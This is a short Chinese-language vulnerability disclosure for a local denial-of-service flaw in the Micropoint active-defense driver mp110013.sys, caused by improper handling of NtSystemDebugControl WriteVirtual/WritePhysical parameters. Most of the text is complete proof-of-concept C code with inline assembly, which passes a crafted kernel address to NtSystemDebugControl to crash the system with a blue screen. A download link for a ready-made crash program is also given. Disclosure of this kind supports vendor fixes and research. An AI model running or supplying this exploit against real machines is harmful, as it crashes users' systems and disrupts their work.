微点主动防御本地拒绝服务漏洞

微点主动防御mp110013.sys <= 1.3.10123.0本地拒绝服务漏洞

产品版本:微点主动防御:mp.100323.1.2.10581.0278.r1
文件版本:mp110013.sys 1.3.10123.0 timestamp:4BA1863F checksum 1e7b8
漏洞详情:没有正确处理NtSystemDebugControl WriteVirtual/WritePhysical中的Address/Buffer成员,引发拒绝服务漏洞
测试程序:http://mj0011.ys168.com 漏洞演示目录下 mpbsod_fun_2.rar,运行后系统即崩溃

typedef struct _SYSDBG_VIRTUAL {
    PVOID Address;
    PVOID Buffer;
    ULONG Request;
} SYSDBG_VIRTUAL, *PSYSDBG_VIRTUAL;
int main(int argc, char* argv[])
{

printf("Micropoint Local D.O.S Vulnerability\n"
   "BSOD Micropoint for fun!\n"
   "By MJ0011\nth_decoder$126.com\n\nPress Enter...\n");
getchar();

SYSDBG_VIRTUAL sbv ;
sbv.Address = (PVOID)0x80000000;

PVOID pAddr = GetProcAddress(GetModuleHandle("ntdll.dll") , "NtSystemDebugControl");

__asm
{
   push 0
   push 0
   push 0
   lea eax , sbv
   push eax
   push 0xb
   call pAddr
}
return 0;
}